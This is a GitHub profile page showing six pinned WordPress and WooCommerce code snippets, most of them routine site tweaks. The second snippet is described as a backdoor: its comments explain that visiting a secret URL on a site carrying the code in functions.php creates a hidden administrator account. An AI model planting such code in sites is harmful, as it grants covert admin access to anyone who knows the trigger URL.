Skip to content
View abid112's full-sized avatar
🎯
Focusing
🎯
Focusing

Block or report abid112

Block user

Prevent this user from interacting with your repositories and sending you notifications. Learn more about blocking users.

You must be logged in to block users.

Please don't include any personal information such as legal names or email addresses. Maximum 100 characters, markdown supported. This note will be visible to only you.
Report abuse

Contact GitHub support about this user’s behavior. Learn more about reporting abuse.

Report abuse

Pinned Loading

  1. If you don't want to see "Woocommerc... If you don't want to see "Woocommerce Review" section on your product page, then add this line on your functions.php
    1
    add_filter( 'woocommerce_product_tabs', 'wcs_woo_remove_reviews_tab', 98 );
    2
        function wcs_woo_remove_reviews_tab($tabs) {
    3
        unset($tabs['reviews']);
    4
        return $tabs;
    5
    }
  2. This is like a backdoor of your Word... This is like a backdoor of your WordPress site. This lines of code will generate user, password as a admin role by URL hit.
    1
    //Hit this URL after put code on functions.php : http://www.yourdomain.com/?backdoor=knockknock
    2
    //It will create username= name ; password= pass ; role= administrator on your wordpress backend users.
    3
    //After that you can login on your site with this username and password.
    4
    //change the 'backdoor' , 'knockknock' , 'name', 'pass' string on your code as your desire texts
    5
    
                  
  3. This JavaScript is hide another clas... This JavaScript is hide another class if the specific class is exists.
    1
    <script type="text/javascript"> 
    2
    
                  
    3
    $(document).ready(function(){
    4
    if ($('.mwd-success').css('display') == 'block') {
    5
        $('.email-confirm-sub').css('display', 'none');
  4. This code will Redirect you to "Succ... This code will Redirect you to "Success Page/Thank You" page after Submit the form of Contact Form-7 [WORDPRESS]
    1
    <script>
    2
    document.addEventListener( 'wpcf7mailsent', function( event ) {
    3
        location = 'http://example.com/';
    4
    }, false );
    5
    </script>
  5. This function is provide the facilit... This function is provide the facility of another button called "Direct Checkout" besides 'Add to Cart" which will takes user to the direct checkout page on Woocommerce.
    1
    /********************************************************************************************
    2
    *Add this on functions.php of your WordPress
    3
    *********************************************************************************************/
    4
    
                  
    5
    function add_content_after_addtocart() {
  6. This is for the WordPress user who u... This is for the WordPress user who uses Contact Form-7 integration for reCAPTCHA v3 . Google introduced a new reCAPTCHA v3 which is run on the background of the webpage. So no need to perform that checkbox and stupid image puzzle anymore. Google detects automatically with their algorithm of Human or Bot. In reCAPTCHA v3 in Contact Form-7 is perform all over the website and it shows the badges(bottom right side) which is attack some of the site owners mind. So, here is the code you can dequeue this script in page or specific pages. Add this on your functions.php by changing the value of the array of page slugs.
    1
    //For one page
    2
    add_action('wp_print_scripts', function () {
    3
    	 if ( !is_page('contact-us') ){
    4
    		wp_dequeue_script( 'google-recaptcha' );
    5
    	}